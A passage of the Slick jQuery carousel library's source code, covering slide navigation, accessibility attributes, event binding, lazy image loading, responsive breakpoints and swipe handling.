if (_.options.infinite === false) {
max = _.slideCount;
} else {
breakPoint = _.options.slidesToScroll * -1;
counter = _.options.slidesToScroll * -1;
max = _.slideCount * 2;
}
var fs = 0;
while (breakPoint < max) {
indexes.push(breakPoint);
breakPoint = counter + _.options.slidesToScroll;
counter += _.options.slidesToScroll <= _.options.slidesToShow ? _.options.slidesToScroll : _.options.slidesToShow;
fs++;
if ( fs > 200 ) {
console.log( 'WARNING! Infinite loop!' );
break;
}
}
return indexes;
};
Slick.prototype.getSlick = function() {
return this;
};
Slick.prototype.getSlideCount = function() {
var _ = this,
slidesTraversed, swipedSlide, centerOffset;
centerOffset = _.options.centerMode === true ? _.slideWidth * Math.floor(_.options.slidesToShow / 2) : 0;
if (_.options.swipeToSlide === true) {
_.$slideTrack.find('.slick-slide').each(function(index, slide) {
if (slide.offsetLeft - centerOffset + ($(slide).outerWidth() / 2) > (_.swipeLeft * -1)) {
swipedSlide = slide;
return false;
}
});
slidesTraversed = Math.abs($(swipedSlide).attr('data-slick-index') - _.currentSlide) || 1;
return slidesTraversed;
} else {
return _.options.slidesToScroll;
}
};
Slick.prototype.goTo = Slick.prototype.slickGoTo = function(slide, dontAnimate) {
var _ = this;
_.changeSlide({
data: {
message: 'index',
index: parseInt(slide)
}
}, dontAnimate);
};
Slick.prototype.init = function(creation) {
var _ = this;
if (!$(_.$slider).hasClass('slick-initialized')) {
$(_.$slider).addClass('slick-initialized');
_.buildRows();
_.buildOut();
_.setProps();
_.startLoad();
_.loadSlider();
_.initializeEvents();
_.updateArrows();
_.updateDots();
_.checkResponsive(true);
_.focusHandler();
}
if (creation) {
_.$slider.trigger('init', [_]);
}
if (_.options.accessibility === true) {
_.initADA();
}
if ( _.options.autoplay ) {
_.paused = false;
_.autoPlay();
}
};
Slick.prototype.initADA = function() {
var _ = this,
numDotGroups = Math.ceil(_.slideCount / _.options.slidesToShow),
tabControlIndexes = _.getNavigableIndexes().filter(function(val) {
return (val >= 0) && (val < _.slideCount);
});
_.$slides.add(_.$slideTrack.find('.slick-cloned')).attr({
'aria-hidden': 'true',
'tabindex': '-1'
}).find('a, input, button, select').attr({
'tabindex': '-1'
});
if (_.$dots !== null) {
_.$slides.not(_.$slideTrack.find('.slick-cloned')).each(function(i) {
var slideControlIndex = tabControlIndexes.indexOf(i);
$(this).attr({
'role': 'tabpanel',
'id': 'slick-slide' + _.instanceUid + i,
'tabindex': -1
});
if (slideControlIndex !== -1) {
var ariaButtonControl = 'slick-slide-control' + _.instanceUid + slideControlIndex
if ($('#' + ariaButtonControl).length) {
$(this).attr({
'aria-describedby': ariaButtonControl
});
}
}
});
_.$dots.attr('role', 'tablist').find('li').each(function(i) {
var mappedSlideIndex = tabControlIndexes[i];
$(this).attr({
'role': 'presentation'
});
$(this).find('button').first().attr({
'role': 'tab',
'id': 'slick-slide-control' + _.instanceUid + i,
'aria-controls': 'slick-slide' + _.instanceUid + mappedSlideIndex,
'aria-label': (i + 1) + ' of ' + numDotGroups,
'aria-selected': null,
'tabindex': '-1'
});
}).eq(_.currentSlide).find('button').attr({
'aria-selected': 'true',
'tabindex': '0'
}).end();
}
for (var i=_.currentSlide, max=i+_.options.slidesToShow; i < max; i++) {
if (_.options.focusOnChange) {
_.$slides.eq(i).attr({'tabindex': '0'});
} else {
_.$slides.eq(i).removeAttr('tabindex');
}
}
_.activateADA();
};
Slick.prototype.initArrowEvents = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow
.off('click.slick')
.on('click.slick', {
message: 'previous'
}, _.changeSlide);
_.$nextArrow
.off('click.slick')
.on('click.slick', {
message: 'next'
}, _.changeSlide);
if (_.options.accessibility === true) {
_.$prevArrow.on('keydown.slick', _.keyHandler);
_.$nextArrow.on('keydown.slick', _.keyHandler);
}
}
};
Slick.prototype.initDotEvents = function() {
var _ = this;
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
$('li', _.$dots).on('click.slick', {
message: 'index'
}, _.changeSlide);
if (_.options.accessibility === true) {
_.$dots.on('keydown.slick', _.keyHandler);
}
}
if (_.options.dots === true && _.options.pauseOnDotsHover === true && _.slideCount > _.options.slidesToShow) {
$('li', _.$dots)
.on('mouseenter.slick', $.proxy(_.interrupt, _, true))
.on('mouseleave.slick', $.proxy(_.interrupt, _, false));
}
};
Slick.prototype.initSlideEvents = function() {
var _ = this;
if ( _.options.pauseOnHover ) {
_.$list.on('mouseenter.slick', $.proxy(_.interrupt, _, true));
_.$list.on('mouseleave.slick', $.proxy(_.interrupt, _, false));
}
};
Slick.prototype.initializeEvents = function() {
var _ = this;
_.initArrowEvents();
_.initDotEvents();
_.initSlideEvents();
_.$list.on('touchstart.slick mousedown.slick', {
action: 'start'
}, _.swipeHandler);
_.$list.on('touchmove.slick mousemove.slick', {
action: 'move'
}, _.swipeHandler);
_.$list.on('touchend.slick mouseup.slick', {
action: 'end'
}, _.swipeHandler);
_.$list.on('touchcancel.slick mouseleave.slick', {
action: 'end'
}, _.swipeHandler);
_.$list.on('click.slick', _.clickHandler);
$(document).on(_.visibilityChange, $.proxy(_.visibility, _));
if (_.options.accessibility === true) {
_.$list.on('keydown.slick', _.keyHandler);
}
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().on('click.slick', _.selectHandler);
}
$(window).on('orientationchange.slick.slick-' + _.instanceUid, $.proxy(_.orientationChange, _));
$(window).on('resize.slick.slick-' + _.instanceUid, $.proxy(_.resize, _));
$('[draggable!=true]', _.$slideTrack).on('dragstart', _.preventDefault);
$(window).on('load.slick.slick-' + _.instanceUid, _.setPosition);
$(_.setPosition);
};
Slick.prototype.initUI = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow.show();
_.$nextArrow.show();
}
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$dots.show();
}
};
Slick.prototype.keyHandler = function(event) {
var _ = this;
//Dont slide if the cursor is inside the form fields and arrow keys are pressed
if(!event.target.tagName.match('TEXTAREA|INPUT|SELECT')) {
if (event.keyCode === 37 && _.options.accessibility === true) {
_.changeSlide({
data: {
message: _.options.rtl === true ? 'next' : 'previous'
}
});
} else if (event.keyCode === 39 && _.options.accessibility === true) {
_.changeSlide({
data: {
message: _.options.rtl === true ? 'previous' : 'next'
}
});
}
}
};
Slick.prototype.lazyLoad = function() {
var _ = this,
loadRange, cloneRange, rangeStart, rangeEnd;
function loadImages(imagesScope) {
$('img[data-lazy]', imagesScope).each(function() {
var image = $(this),
imageSource = $(this).attr('data-lazy'),
imageSrcSet = $(this).attr('data-srcset'),
imageSizes = $(this).attr('data-sizes') || _.$slider.attr('data-sizes'),
imageToLoad = document.createElement('img');
imageToLoad.onload = function() {
image
.animate({ opacity: 0 }, 100, function() {
if (imageSrcSet) {
image
.attr('srcset', imageSrcSet );
if (imageSizes) {
image
.attr('sizes', imageSizes );
}
}
image
.attr('src', imageSource)
.animate({ opacity: 1 }, 200, function() {
image
.removeAttr('data-lazy data-srcset data-sizes')
.removeClass('slick-loading');
});
_.$slider.trigger('lazyLoaded', [_, image, imageSource]);
});
};
imageToLoad.onerror = function() {
image
.removeAttr( 'data-lazy' )
.removeClass( 'slick-loading' )
.addClass( 'slick-lazyload-error' );
_.$slider.trigger('lazyLoadError', [ _, image, imageSource ]);
};
imageToLoad.src = imageSource;
});
}
if (_.options.centerMode === true) {
if (_.options.infinite === true) {
rangeStart = _.currentSlide + (_.options.slidesToShow / 2 + 1);
rangeEnd = rangeStart + _.options.slidesToShow + 2;
} else {
rangeStart = Math.max(0, _.currentSlide - (_.options.slidesToShow / 2 + 1));
rangeEnd = 2 + (_.options.slidesToShow / 2 + 1) + _.currentSlide;
}
} else {
rangeStart = _.options.infinite ? _.options.slidesToShow + _.currentSlide : _.currentSlide;
rangeEnd = Math.ceil(rangeStart + _.options.slidesToShow);
if (_.options.fade === true) {
if (rangeStart > 0) rangeStart--;
if (rangeEnd <= _.slideCount) rangeEnd++;
}
}
loadRange = _.$slider.find('.slick-slide').slice(rangeStart, rangeEnd);
if (_.options.lazyLoad === 'anticipated') {
var prevSlide = rangeStart - 1,
nextSlide = rangeEnd,
$slides = _.$slider.find('.slick-slide');
for (var i = 0; i < _.options.slidesToScroll; i++) {
if (prevSlide < 0) prevSlide = _.slideCount - 1;
loadRange = loadRange.add($slides.eq(prevSlide));
loadRange = loadRange.add($slides.eq(nextSlide));
prevSlide--;
nextSlide++;
}
}
loadImages(loadRange);
if (_.slideCount <= _.options.slidesToShow) {
cloneRange = _.$slider.find('.slick-slide');
loadImages(cloneRange);
} else
if (_.currentSlide >= _.slideCount - _.options.slidesToShow) {
cloneRange = _.$slider.find('.slick-cloned').slice(0, _.options.slidesToShow);
loadImages(cloneRange);
} else if (_.currentSlide === 0) {
cloneRange = _.$slider.find('.slick-cloned').slice(_.options.slidesToShow * -1);
loadImages(cloneRange);
}
};
Slick.prototype.loadSlider = function() {
var _ = this;
_.setPosition();
_.$slideTrack.css({
opacity: 1
});
_.$slider.removeClass('slick-loading');
_.initUI();
if (_.options.lazyLoad === 'progressive') {
_.progressiveLazyLoad();
}
};
Slick.prototype.next = Slick.prototype.slickNext = function() {
var _ = this;
_.changeSlide({
data: {
message: 'next'
}
});
};
Slick.prototype.orientationChange = function() {
var _ = this;
_.checkResponsive();
_.setPosition();
};
Slick.prototype.pause = Slick.prototype.slickPause = function() {
var _ = this;
_.autoPlayClear();
_.paused = true;
};
Slick.prototype.play = Slick.prototype.slickPlay = function() {
var _ = this;
_.autoPlay();
_.options.autoplay = true;
_.paused = false;
_.focussed = false;
_.interrupted = false;
};
Slick.prototype.postSlide = function(index) {
var _ = this;
if( !_.unslicked ) {
_.$slider.trigger('afterChange', [_, index]);
_.animating = false;
if (_.slideCount > _.options.slidesToShow) {
_.setPosition();
}
_.swipeLeft = null;
if ( _.options.autoplay ) {
_.autoPlay();
}
if (_.options.accessibility === true) {
_.initADA();
if (_.options.focusOnChange) {
var $currentSlide = $(_.$slides.get(_.currentSlide));
$currentSlide.attr('tabindex', 0).focus();
}
}
}
};
Slick.prototype.prev = Slick.prototype.slickPrev = function() {
var _ = this;
_.changeSlide({
data: {
message: 'previous'
}
});
};
Slick.prototype.preventDefault = function(event) {
event.preventDefault();
};
Slick.prototype.progressiveLazyLoad = function( tryCount ) {
tryCount = tryCount || 1;
var _ = this,
$imgsToLoad = $( 'img[data-lazy]', _.$slider ),
image,
imageSource,
imageSrcSet,
imageSizes,
imageToLoad;
if ( $imgsToLoad.length ) {
image = $imgsToLoad.first();
imageSource = image.attr('data-lazy');
imageSrcSet = image.attr('data-srcset');
imageSizes = image.attr('data-sizes') || _.$slider.attr('data-sizes');
imageToLoad = document.createElement('img');
imageToLoad.onload = function() {
if (imageSrcSet) {
image
.attr('srcset', imageSrcSet );
if (imageSizes) {
image
.attr('sizes', imageSizes );
}
}
image
.attr( 'src', imageSource )
.removeAttr('data-lazy data-srcset data-sizes')
.removeClass('slick-loading');
if ( _.options.adaptiveHeight === true ) {
_.setPosition();
}
_.$slider.trigger('lazyLoaded', [ _, image, imageSource ]);
_.progressiveLazyLoad();
};
imageToLoad.onerror = function() {
if ( tryCount < 3 ) {
/**
* try to load the image 3 times,
* leave a slight delay so we don't get
* servers blocking the request.
*/
setTimeout( function() {
_.progressiveLazyLoad( tryCount + 1 );
}, 500 );
} else {
image
.removeAttr( 'data-lazy' )
.removeClass( 'slick-loading' )
.addClass( 'slick-lazyload-error' );
_.$slider.trigger('lazyLoadError', [ _, image, imageSource ]);
_.progressiveLazyLoad();
}
};
imageToLoad.src = imageSource;
} else {
_.$slider.trigger('allImagesLoaded', [ _ ]);
}
};
Slick.prototype.refresh = function( initializing ) {
var _ = this, currentSlide, lastVisibleIndex;
lastVisibleIndex = _.slideCount - _.options.slidesToShow;
// in non-infinite sliders, we don't want to go past the
// last visible index.
if( !_.options.infinite && ( _.currentSlide > lastVisibleIndex )) {
_.currentSlide = lastVisibleIndex;
}
// if less slides than to show, go to start.
if ( _.slideCount <= _.options.slidesToShow ) {
_.currentSlide = 0;
}
currentSlide = _.currentSlide;
_.destroy(true);
$.extend(_, _.initials, { currentSlide: currentSlide });
_.init();
if( !initializing ) {
_.changeSlide({
data: {
message: 'index',
index: currentSlide
}
}, false);
}
};
Slick.prototype.registerBreakpoints = function() {
var _ = this, breakpoint, currentBreakpoint, l,
responsiveSettings = _.options.responsive || null;
if ( $.type(responsiveSettings) === 'array' && responsiveSettings.length ) {
_.respondTo = _.options.respondTo || 'window';
for ( breakpoint in responsiveSettings ) {
l = _.breakpoints.length-1;
if (responsiveSettings.hasOwnProperty(breakpoint)) {
currentBreakpoint = responsiveSettings[breakpoint].breakpoint;
// loop through the breakpoints and cut out any existing
// ones with the same breakpoint number, we don't want dupes.
while( l >= 0 ) {
if( _.breakpoints[l] && _.breakpoints[l] === currentBreakpoint ) {
_.breakpoints.splice(l,1);
}
l--;
}
_.breakpoints.push(currentBreakpoint);
_.breakpointSettings[currentBreakpoint] = responsiveSettings[breakpoint].settings;
}
}
_.breakpoints.sort(function(a, b) {
return ( _.options.mobileFirst ) ? a-b : b-a;
});
}
};
Slick.prototype.reinit = function() {
var _ = this;
_.$slides =
_.$slideTrack
.children(_.options.slide)
.addClass('slick-slide');
_.slideCount = _.$slides.length;
if (_.currentSlide >= _.slideCount && _.currentSlide !== 0) {
_.currentSlide = _.currentSlide - _.options.slidesToScroll;
}
if (_.slideCount <= _.options.slidesToShow) {
_.currentSlide = 0;
}
_.registerBreakpoints();
_.setProps();
_.setupInfinite();
_.buildArrows();
_.updateArrows();
_.initArrowEvents();
_.buildDots();
_.updateDots();
_.initDotEvents();
_.cleanUpSlideEvents();
_.initSlideEvents();
_.checkResponsive(false, true);
if (_.options.focusOnSelect === true) {
$(_.$slideTrack).children().on('click.slick', _.selectHandler);
}
_.setSlideClasses(typeof _.currentSlide === 'number' ? _.currentSlide : 0);
_.setPosition();
_.focusHandler();
_.paused = !_.options.autoplay;
_.autoPlay();
_.$slider.trigger('reInit', [_]);
};
Slick.prototype.resize = function() {
var _ = this;
if ($(window).width() !== _.windowWidth) {
clearTimeout(_.windowDelay);
_.windowDelay = window.setTimeout(function() {
_.windowWidth = $(window).width();
_.checkResponsive();
if( !_.unslicked ) { _.setPosition(); }
}, 50);
}
};
Slick.prototype.removeSlide = Slick.prototype.slickRemove = function(index, removeBefore, removeAll) {
var _ = this;
if (typeof(index) === 'boolean') {
removeBefore = index;
index = removeBefore === true ? 0 : _.slideCount - 1;
} else {
index = removeBefore === true ? --index : index;
}
if (_.slideCount < 1 || index < 0 || index > _.slideCount - 1) {
return false;
}
_.unload();
if (removeAll === true) {
_.$slideTrack.children().remove();
} else {
_.$slideTrack.children(this.options.slide).eq(index).remove();
}
_.$slides = _.$slideTrack.children(this.options.slide);
_.$slideTrack.children(this.options.slide).detach();
_.$slideTrack.append(_.$slides);
_.$slidesCache = _.$slides;
_.reinit();
};
Slick.prototype.setCSS = function(position) {
var _ = this,
positionProps = {},
x, y;
if (_.options.rtl === true) {
position = -position;
}
x = _.positionProp == 'left' ? Math.ceil(position) + 'px' : '0px';
y = _.positionProp == 'top' ? Math.ceil(position) + 'px' : '0px';
positionProps[_.positionProp] = position;
if (_.transformsEnabled === false) {
_.$slideTrack.css(positionProps);
} else {
positionProps = {};
if (_.cssTransitions === false) {
positionProps[_.animType] = 'translate(' + x + ', ' + y + ')';
_.$slideTrack.css(positionProps);
} else {
positionProps[_.animType] = 'translate3d(' + x + ', ' + y + ', 0px)';
_.$slideTrack.css(positionProps);
}
}
};
Slick.prototype.setDimensions = function() {
var _ = this;
if (_.options.vertical === false) {
if (_.options.centerMode === true) {
_.$list.css({
padding: ('0px ' + _.options.centerPadding)
});
}
} else {
_.$list.height(_.$slides.first().outerHeight(true) * _.options.slidesToShow);
if (_.options.centerMode === true) {
_.$list.css({
padding: (_.options.centerPadding + ' 0px')
});
}
}
_.listWidth = _.$list.width();
_.listHeight = _.$list.height();
if (_.options.vertical === false && _.options.variableWidth === false) {
_.slideWidth = Math.ceil(_.listWidth / _.options.slidesToShow);
_.$slideTrack.width(Math.ceil((_.slideWidth * _.$slideTrack.children('.slick-slide').length)));
} else if (_.options.variableWidth === true) {
_.$slideTrack.width(5000 * _.slideCount);
} else {
_.slideWidth = Math.ceil(_.listWidth);
_.$slideTrack.height(Math.ceil((_.$slides.first().outerHeight(true) * _.$slideTrack.children('.slick-slide').length)));
}
var offset = _.$slides.first().outerWidth(true) - _.$slides.first().width();
if (_.options.variableWidth === false) _.$slideTrack.children('.slick-slide').width(_.slideWidth - offset);
};
Slick.prototype.setFade = function() {
var _ = this,
targetLeft;
_.$slides.each(function(index, element) {
targetLeft = (_.slideWidth * index) * -1;
if (_.options.rtl === true) {
$(element).css({
position: 'relative',
right: targetLeft,
top: 0,
zIndex: _.options.zIndex - 2,
opacity: 0
});
} else {
$(element).css({
position: 'relative',
left: targetLeft,
top: 0,
zIndex: _.options.zIndex - 2,
opacity: 0
});
}
});
_.$slides.eq(_.currentSlide).css({
zIndex: _.options.zIndex - 1,
opacity: 1
});
};
Slick.prototype.setHeight = function() {
var _ = this;
if (_.options.slidesToShow === 1 && _.options.adaptiveHeight === true && _.options.vertical === false) {
var targetHeight = _.$slides.eq(_.currentSlide).outerHeight(true);
_.$list.css('height', targetHeight);
}
};
Slick.prototype.setOption =
Slick.prototype.slickSetOption = function() {
/**
* accepts arguments in format of:
*
* - for changing a single option's value:
* .slick("setOption", option, value, refresh )
*
* - for changing a set of responsive options:
* .slick("setOption", 'responsive', [{}, ...], refresh )
*
* - for updating multiple values at once (not responsive)
* .slick("setOption", { 'option': value, ... }, refresh )
*/
var _ = this, l, item, option, value, refresh = false, type;
if( $.type( arguments[0] ) === 'object' ) {
option = arguments[0];
refresh = arguments[1];
type = 'multiple';
} else if ( $.type( arguments[0] ) === 'string' ) {
option = arguments[0];
value = arguments[1];
refresh = arguments[2];
if ( arguments[0] === 'responsive' && $.type( arguments[1] ) === 'array' ) {
type = 'responsive';
} else if ( typeof arguments[1] !== 'undefined' ) {
type = 'single';
}
}
if ( type === 'single' ) {
_.options[option] = value;
} else if ( type === 'multiple' ) {
$.each( option , function( opt, val ) {
_.options[opt] = val;
});
} else if ( type === 'responsive' ) {
for ( item in value ) {
if( $.type( _.options.responsive ) !== 'array' ) {
_.options.responsive = [ value[item] ];
} else {
l = _.options.responsive.length-1;
// loop through the responsive object and splice out duplicates.
while( l >= 0 ) {
if( _.options.responsive[l].breakpoint === value[item].breakpoint ) {
_.options.responsive.splice(l,1);
}
l--;
}
_.options.responsive.push( value[item] );
}
}
}
if ( refresh ) {
_.unload();
_.reinit();
}
};
Slick.prototype.setPosition = function() {
var _ = this;
_.setDimensions();
_.setHeight();
if (_.options.fade === false) {
_.setCSS(_.getLeft(_.currentSlide));
} else {
_.setFade();
}
_.$slider.trigger('setPosition', [_]);
};
Slick.prototype.setProps = function() {
var _ = this,
bodyStyle = document.body.style;
_.positionProp = _.options.vertical === true ? 'top' : 'left';
if (_.positionProp === 'top') {
_.$slider.addClass('slick-vertical');
} else {
_.$slider.removeClass('slick-vertical');
}
if (bodyStyle.WebkitTransition !== undefined ||
bodyStyle.MozTransition !== undefined ||
bodyStyle.msTransition !== undefined) {
if (_.options.useCSS === true) {
_.cssTransitions = true;
}
}
if ( _.options.fade ) {
if ( typeof _.options.zIndex === 'number' ) {
if( _.options.zIndex < 3 ) {
_.options.zIndex = 3;
}
} else {
_.options.zIndex = _.defaults.zIndex;
}
}
if (bodyStyle.OTransform !== undefined) {
_.animType = 'OTransform';
_.transformType = '-o-transform';
_.transitionType = 'OTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.webkitPerspective === undefined) _.animType = false;
}
if (bodyStyle.MozTransform !== undefined) {
_.animType = 'MozTransform';
_.transformType = '-moz-transform';
_.transitionType = 'MozTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.MozPerspective === undefined) _.animType = false;
}
if (bodyStyle.webkitTransform !== undefined) {
_.animType = 'webkitTransform';
_.transformType = '-webkit-transform';
_.transitionType = 'webkitTransition';
if (bodyStyle.perspectiveProperty === undefined && bodyStyle.webkitPerspective === undefined) _.animType = false;
}
if (bodyStyle.msTransform !== undefined) {
_.animType = 'msTransform';
_.transformType = '-ms-transform';
_.transitionType = 'msTransition';
if (bodyStyle.msTransform === undefined) _.animType = false;
}
if (bodyStyle.transform !== undefined && _.animType !== false) {
_.animType = 'transform';
_.transformType = 'transform';
_.transitionType = 'transition';
}
_.transformsEnabled = _.options.useTransform && (_.animType !== null && _.animType !== false);
};
Slick.prototype.setSlideClasses = function(index) {
var _ = this,
centerOffset, allSlides, indexOffset, remainder;
allSlides = _.$slider
.find('.slick-slide')
.removeClass('slick-active slick-center slick-current')
.attr('aria-hidden', 'true');
_.$slides
.eq(index)
.addClass('slick-current');
if (_.options.centerMode === true) {
var evenCoef = _.options.slidesToShow % 2 === 0 ? 1 : 0;
centerOffset = Math.floor(_.options.slidesToShow / 2);
if (_.options.infinite === true) {
if (index >= centerOffset && index <= (_.slideCount - 1) - centerOffset) {
_.$slides
.slice(index - centerOffset + evenCoef, index + centerOffset + 1)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
indexOffset = _.options.slidesToShow + index;
allSlides
.slice(indexOffset - centerOffset + 1 + evenCoef, indexOffset + centerOffset + 2)
.addClass('slick-active')
.attr('aria-hidden', 'false');
}
if (index === 0) {
allSlides
.eq(allSlides.length - 1 - _.options.slidesToShow)
.addClass('slick-center');
} else if (index === _.slideCount - 1) {
allSlides
.eq(_.options.slidesToShow)
.addClass('slick-center');
}
}
_.$slides
.eq(index)
.addClass('slick-center');
} else {
if (index >= 0 && index <= (_.slideCount - _.options.slidesToShow)) {
_.$slides
.slice(index, index + _.options.slidesToShow)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else if (allSlides.length <= _.options.slidesToShow) {
allSlides
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
remainder = _.slideCount % _.options.slidesToShow;
indexOffset = _.options.infinite === true ? _.options.slidesToShow + index : index;
if (_.options.slidesToShow == _.options.slidesToScroll && (_.slideCount - index) < _.options.slidesToShow) {
allSlides
.slice(indexOffset - (_.options.slidesToShow - remainder), indexOffset + remainder)
.addClass('slick-active')
.attr('aria-hidden', 'false');
} else {
allSlides
.slice(indexOffset, indexOffset + _.options.slidesToShow)
.addClass('slick-active')
.attr('aria-hidden', 'false');
}
}
}
if (_.options.lazyLoad === 'ondemand' || _.options.lazyLoad === 'anticipated') {
_.lazyLoad();
}
};
Slick.prototype.setupInfinite = function() {
var _ = this,
i, slideIndex, infiniteCount;
if (_.options.fade === true) {
_.options.centerMode = false;
}
if (_.options.infinite === true && _.options.fade === false) {
slideIndex = null;
if (_.slideCount > _.options.slidesToShow) {
if (_.options.centerMode === true) {
infiniteCount = _.options.slidesToShow + 1;
} else {
infiniteCount = _.options.slidesToShow;
}
for (i = _.slideCount; i > (_.slideCount -
infiniteCount); i -= 1) {
slideIndex = i - 1;
$(_.$slides[slideIndex]).clone(true).attr('id', '')
.attr('data-slick-index', slideIndex - _.slideCount)
.prependTo(_.$slideTrack).addClass('slick-cloned');
}
for (i = 0; i < infiniteCount + _.slideCount; i += 1) {
slideIndex = i;
$(_.$slides[slideIndex]).clone(true).attr('id', '')
.attr('data-slick-index', slideIndex + _.slideCount)
.appendTo(_.$slideTrack).addClass('slick-cloned');
}
_.$slideTrack.find('.slick-cloned').find('[id]').each(function() {
$(this).attr('id', '');
});
}
}
};
Slick.prototype.interrupt = function( toggle ) {
var _ = this;
if( !toggle ) {
_.autoPlay();
}
_.interrupted = toggle;
};
Slick.prototype.selectHandler = function(event) {
var _ = this;
var targetElement =
$(event.target).is('.slick-slide') ?
$(event.target) :
$(event.target).parents('.slick-slide');
var index = parseInt(targetElement.attr('data-slick-index'));
if (!index) index = 0;
if (_.slideCount <= _.options.slidesToShow) {
_.slideHandler(index, false, true);
return;
}
_.slideHandler(index);
};
Slick.prototype.slideHandler = function(index, sync, dontAnimate) {
var targetSlide, animSlide, oldSlide, slideLeft, targetLeft = null,
_ = this, navTarget;
sync = sync || false;
if (_.animating === true && _.options.waitForAnimate === true) {
return;
}
if (_.options.fade === true && _.currentSlide === index) {
return;
}
if (sync === false) {
_.asNavFor(index);
}
targetSlide = index;
targetLeft = _.getLeft(targetSlide);
slideLeft = _.getLeft(_.currentSlide);
_.currentLeft = _.swipeLeft === null ? slideLeft : _.swipeLeft;
if (_.options.infinite === false && _.options.centerMode === false && (index < 0 || index > _.getDotCount() * _.options.slidesToScroll)) {
if (_.options.fade === false) {
targetSlide = _.currentSlide;
if (dontAnimate !== true && _.slideCount > _.options.slidesToShow) {
_.animateSlide(slideLeft, function() {
_.postSlide(targetSlide);
});
} else {
_.postSlide(targetSlide);
}
}
return;
} else if (_.options.infinite === false && _.options.centerMode === true && (index < 0 || index > (_.slideCount - _.options.slidesToScroll))) {
if (_.options.fade === false) {
targetSlide = _.currentSlide;
if (dontAnimate !== true && _.slideCount > _.options.slidesToShow) {
_.animateSlide(slideLeft, function() {
_.postSlide(targetSlide);
});
} else {
_.postSlide(targetSlide);
}
}
return;
}
if ( _.options.autoplay ) {
clearInterval(_.autoPlayTimer);
}
if (targetSlide < 0) {
if (_.slideCount % _.options.slidesToScroll !== 0) {
animSlide = _.slideCount - (_.slideCount % _.options.slidesToScroll);
} else {
animSlide = _.slideCount + targetSlide;
}
} else if (targetSlide >= _.slideCount) {
if (_.slideCount % _.options.slidesToScroll !== 0) {
animSlide = 0;
} else {
animSlide = targetSlide - _.slideCount;
}
} else {
animSlide = targetSlide;
}
_.animating = true;
_.$slider.trigger('beforeChange', [_, _.currentSlide, animSlide]);
oldSlide = _.currentSlide;
_.currentSlide = animSlide;
_.setSlideClasses(_.currentSlide);
if ( _.options.asNavFor ) {
navTarget = _.getNavTarget();
navTarget = navTarget.slick('getSlick');
if ( navTarget.slideCount <= navTarget.options.slidesToShow ) {
navTarget.setSlideClasses(_.currentSlide);
}
}
_.updateDots();
_.updateArrows();
if (_.options.fade === true) {
if (dontAnimate !== true) {
_.fadeSlideOut(oldSlide);
_.fadeSlide(animSlide, function() {
_.postSlide(animSlide);
});
} else {
_.postSlide(animSlide);
}
_.animateHeight();
return;
}
if (dontAnimate !== true && _.slideCount > _.options.slidesToShow) {
_.animateSlide(targetLeft, function() {
_.postSlide(animSlide);
});
} else {
_.postSlide(animSlide);
}
};
Slick.prototype.startLoad = function() {
var _ = this;
if (_.options.arrows === true && _.slideCount > _.options.slidesToShow) {
_.$prevArrow.hide();
_.$nextArrow.hide();
}
if (_.options.dots === true && _.slideCount > _.options.slidesToShow) {
_.$dots.hide();
}
_.$slider.addClass('slick-loading');
};
Slick.prototype.swipeDirection = function() {
var xDist, yDist, r, swipeAngle, _ = this;
xDist = _.touchObject.startX - _.touchObject.curX;
yDist = _.touchObject.startY - _.touchObject.curY;
r = Math.atan2(yDist, xDist);
swipeAngle = Math.round(r * 180 / Math.PI);
if (swipeAngle < 0) {
swipeAngle = 360 - Math.abs(swipeAngle);
}
if ((swipeAngle <= 45) && (swipeAngle >= 0)) {
return (_.options.rtl === false ? 'left' : 'right');
}
if ((swipeAngle <= 360) && (swipeAngle >= 315)) {
return (_.options.rtl === false ? 'left' : 'right');
}
if ((swipeAngle >= 135) && (swipeAngle <= 225)) {
return (_.options.rtl === false ? 'right' : 'left');
}
if (_.options.verticalSwiping === true) {
if ((swipeAngle >= 35) && (swipeAngle <= 135)) {
return 'down';
} else {
return 'up';
}
}
return 'vertical';
};
Slick.prototype.swipeEnd = function(event) {
var _ = this,
slideCount,
direction;
_.dragging = false;
_.swiping = false;
if (_.scrolling) {
_.scrolling = false;
return false;
}
_.interrupted = false;
_.shouldClick = ( _.touchObject.swipeLength > 10 ) ? false : true;
if ( _.touchObject.curX === undefined ) {
return false;
}
if ( _.touchObject.edgeHit === true ) {
_.$slider.trigger('edge', [_, _.swipeDirection() ]);
}
if ( _.touchObject.swipeLength >= _.touchObject.minSwipe ) {
direction = _.swipeDirection();
switch ( direction ) {
case 'left':
case 'down':
slideCount =
_.options.swipeToSlide ?
_.checkNavigable( _.currentSlide + _.getSlideCount() ) :
_.currentSlide + _.getSlideCount();
_.currentDirection = 0;
break;
case 'right':
case 'up':
slideCount =
_.options.swipeToSlide ?
_.checkNavigable( _.currentSlide - _.getSlideCount() ) :
_.currentSlide - _.getSlideCount();
_.currentDirection = 1;
break;
default:
}
if( direction != 'vertical' ) {
_.slideHandler( slideCount );
_.touchObject = {};
_.$slider.trigger('swipe', [_, direction ]);
}
} else {
if ( _.touchObject.startX !== _.touchObject.curX ) {
_.slideHandler( _.currentSlide );
_.touchObject = {};
}
}
};
Slick.prototype.swipeHandler = function(event) {
var _ = this;
if ((_.options.swipe === false) || ('ontouchend' in document && _.options.swipe === false)) {
return;
} else if (_.options.draggable === false && event.type.indexOf('mouse') !== -1) {
return;
}
_.touchObject.fingerCount = event.originalEvent && event.originalEvent.touches !== undefined ?
event.originalEvent.touches.length : 1;
_.touchObject.minSwipe = _.listWidth / _.options
.touchThreshold;
if (_.options.verticalSwiping === true) {
_.touchObject.minSwipe = _.listHeight / _.options
.touchThreshold;
}
switch (event.data.action) {
case 'start':
_.swipeStart(event);
break;
case 'move':
_.swipeMove(event);
break;
case 'end':
_.swipeEnd(event);
break;
}
};
Slick.prototype.swipeMove = function(event) {
var _ = this,
edgeWasHit = false,
curLeft, swipeDirection, swipeLength, positionOffset, touches, verticalSwipeLength;
touches = event.originalEvent !== undefined ? event.originalEvent.touches : null;
